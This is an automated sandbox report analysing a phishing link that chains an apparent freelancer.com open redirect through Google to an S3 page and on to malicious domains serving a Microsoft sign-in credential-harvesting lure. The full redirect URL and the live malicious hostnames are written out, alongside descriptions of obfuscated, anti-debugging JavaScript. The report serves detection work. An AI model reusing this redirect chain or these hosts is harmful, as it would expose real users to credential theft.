Edit tour

Windows Analysis Report
https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBem

Overview

General Information

Sample URL:	https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm
Analysis ID:	1569590
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected suspicious Javascript

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 404 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5264 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1584 --field-trial-handle=1948,i,4226973549147182444,5729737476219076830,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6472 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBemf3zEg5VOxgJRxd3H%26fg%3DSSndprYXntqQtLjEHziw%26url%3Damp%252Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com&user_id=1719536768&uniqid=76018695-412152-662ef280-88c3b518&linkid=6" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru/OtSkvjmchSsJEGhrbseuEqPeaTIvXYqHHGMEEXULSOCDGARUJMFMHTNHTUGWY	Avira URL Cloud: Label: malware
Source: https://es.ineffable9.com/favicon.ico	Avira URL Cloud: Label: malware

Phishing

AI detected suspicious Javascript

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: http://fileshareinfoviewnow.s3-website.us-east-2.a... High risk due to: 1) Suspicious redirect to non-standard domain (ineffable9.com) (+3), 2) URL parameter manipulation and potential data exfiltration by passing email to external domain (+3), 3) Domain appears suspicious and non-standard (+2). The script appears designed to capture and redirect user email information to an external domain that doesn't follow standard naming conventions, suggesting potential phishing or data harvesting.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/... High-risk script with multiple red flags: uses atob() for obfuscation, contains encoded malicious payload, attempts to prevent debugging (blocks dev tools shortcuts), disables context menu, includes anti-automation checks (webdriver detection), and appears to write potentially malicious content to document using document.write(). The encoded URL and behavior patterns are consistent with phishing or malware delivery.
Source: 0.3.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/... High-risk script showing multiple suspicious behaviors: 1) Makes request to suspicious Russian domain (.ru) with extremely long hostname (+3), 2) Contains obfuscated/encoded-looking variable names and paths (+3), 3) Performs redirects to excel.office.com as a fallback, potentially masking malicious activity (+2), 4) Handles form submission with potential data exfiltration (+2). While it references legitimate service (office.com), the overall pattern suggests credential harvesting or phishing attempt.

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Number of links: 0

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0

HTTP Parser: Base64 decoded: 20bc289d-62d2-4d13-baec-a272930625ff5e67d44d-e5c9-430a-acd9-b741e2f4602b

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL

HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3

HTTP Parser: <input type="password" .../> found

Source: http://fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com/	HTTP Parser: No favicon
Source: https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49782 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: www.freelancer.com to https://www.google.com.bn/url?fnc=a9xteoexmbpypyn99sox&ndp=m6lkedzmubiqezn7rbkx&sa=t&pfuv=by2ijkbokhgbedfdsryz&ncbe=ta02sxuj4dkstfskl5bg&db=obemf3zeg5voxgjrxd3h&fg=ssndpryxntqqtljehziw&url=amp%2ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBemf3zEg5VOxgJRxd3H%26fg%3DSSndprYXntqQtLjEHziw%26url%3Damp%252Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com&user_id=1719536768&uniqid=76018695-412152-662ef280-88c3b518&linkid=6 HTTP/1.1Host: www.freelancer.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
